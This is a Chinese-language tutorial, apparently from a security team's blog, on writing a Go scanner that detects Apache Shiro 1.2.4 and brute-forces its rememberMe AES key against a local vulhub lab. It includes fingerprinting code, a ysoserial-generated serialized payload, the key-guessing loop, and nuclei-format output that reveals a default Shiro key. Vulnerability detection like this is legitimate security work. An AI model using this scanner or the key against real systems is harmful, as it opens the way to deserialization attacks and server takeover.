前言

检测原理

"Cookie":"rememberMe=admin;rememberMe-K=admin"
"Content-Type":"text/xml"

环境搭建

docker run --rm -p 8080:8080 vulhub/shiro:1.2.4

代码编写

判断是否为apache-shiro组件

// 检查是POST还是GET
func CheckIsShiroMethod(host string) string {
	hh := Base.NewHttpClient()
	header := make(map[string]string, 0)
	header["Content-Type"] = "text/xml"
	header["Cookie"] = "rememberMe=admin;rememberMe-K=admin"
	for _, m := range []string{"POST", "GET"} {
		resp, err := hh.SendRequest(m, host, nil, header, nil)
		if err != nil {
			return ""
		}
		if resp != nil {
			resp.Body.Close()
		}
		if strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {
			return m
		}
	}
	return ""
}

cookie中rememberMe的生成

➜  ~ ./ysoserial_amd64 -p shiro_spc -f hex                                           
aced0005737200326f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6ea87f5825c6a3084a0300014c000f7265616c6d5072696e636970616c7374000f4c6a6176612f7574696c2f4d61703b78707077010078
shiro_spc = []byte{0xac, 0xed, 0x0, 0x5, 0x73, 0x72, 0x0, 0x32, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2e, 0x73, 0x68, 0x69, 0x72, 0x6f, 0x2e, 0x73, 0x75, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x2e, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0xa8, 0x7f, 0x58, 0x25, 0xc6, 0xa3, 0x8, 0x4a, 0x3, 0x0, 0x1, 0x4c, 0x0, 0xf, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x73, 0x74, 0x0, 0xf, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x78, 0x70, 0x70, 0x77, 0x1, 0x0, 0x78}
for _, m := range []string{"CBC", "GCM"} {
		for i := range payloads {
			remember_me_coockie := RememberMe(payloads[i], m)
			header := make(map[string]string, 0)
			header["Content-Type"] = "text/xml"
			header["Cookie"] = "rememberMe=" + remember_me_coockie
			header["User-Agent"] = Base.DefaultUserAgent
			resp, _ := h.SendRequest(method, host, nil, header, nil)
			if resp != nil {
				resp.Body.Close()
			}
			if !strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {
				meta := map[string]interface{}{"key": payloads[i], "mode": m}
				Base.MakeNucleiResult(&ResultEvent, resp, meta)
				return ResultEvent
			}
		}
	}

将go的response转为nuclei的ResultEvent

ResultEvent := output.ResultEvent{
		TemplateID:    "apache-shiro-key",
		Type:          "http",
		Timestamp:     time.Now(),
		MatcherStatus: false,
		Info: model.Info{Name: "ApacheShiro可用Key",
			SeverityHolder: severity.Holder{Severity: severity.Critical},
			Authors:        stringslice.StringSlice{Value: []string{"cn-kali-team"}},
			Tags:           stringslice.StringSlice{Value: []string{"apache-shiro"}},
			Reference:      stringslice.StringSlice{Value: []string{}},
		},
		Host: host,
	}
package Base

import (
	"net/http"
	"net/http/httputil"

	"github.com/projectdiscovery/nuclei/v2/pkg/output"
	"moul.io/http2curl"
)

func MakeNucleiResult(ResultEvent *output.ResultEvent, resp *http.Response, meta map[string]interface{}) {
	command, _ := http2curl.GetCurlCommand(resp.Request)
	ResultEvent.CURLCommand = command.String()
	dump_request, _ := httputil.DumpRequest(resp.Request, true)
  if resp.Request.Response != nil {
		dump_response, _ := httputil.DumpResponse(resp.Request.Response, true)
		ResultEvent.Response = string(dump_response)
	}
	dump_response, _ := httputil.DumpResponse(resp.Request.Response, true)
	ResultEvent.Request = string(dump_request)
	ResultEvent.MatcherStatus = true
	ResultEvent.Metadata = meta
	ResultEvent.Matched = resp.Request.URL.String()
	ResultEvent.Lines = []int{}
	ResultEvent.IP = resp.Request.URL.Hostname()
}
{
    "template-id": "apache-shiro-key",
    "info": {
        "name": "ApacheShiro可用Key",
        "author": [
            "cn-kali-team"
        ],
        "tags": [
            "apache-shiro"
        ],
        "reference": [],
        "severity": "critical"
    },
    "type": "http",
    "host": "<http://127.0.0.1:8080>",
    "matched-at": "<http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F>",
    "request": "GET /login;jsessionid=96DB54118C3AD9AE431629A46DB4291F HTTP/0.0\\r\\nHost: 127.0.0.1:8080\\r\\nContent-Type: text/xml\\r\\nCookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D\\r\\nReferer: <http://127.0.0.1:8080>\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\\r\\n\\r\\n",
    "response": "HTTP/1.1 302 \\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nDate: Mon, 15 Aug 2022 09:57:11 GMT\\r\\nLocation: <http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F\\r\\nSet-Cookie:> JSESSIONID=96DB54118C3AD9AE431629A46DB4291F; Path=/; HttpOnly\\r\\n\\r\\n",
    "meta": {
        "key": "kPH+bIxk5D2deZiIxcaaaA==",
        "mode": "CBC"
    },
    "ip": "127.0.0.1",
    "timestamp": "2022-08-15T17:57:11.598443866+08:00",
    "curl-command": "curl -X 'GET' -H 'Content-Type: text/xml' -H 'Cookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D' -H 'Referer: <http://127.0.0.1:8080>' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' '<http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F>'",
    "matcher-status": true,
    "matched-line": []
}

参考

Powered by Kali-Team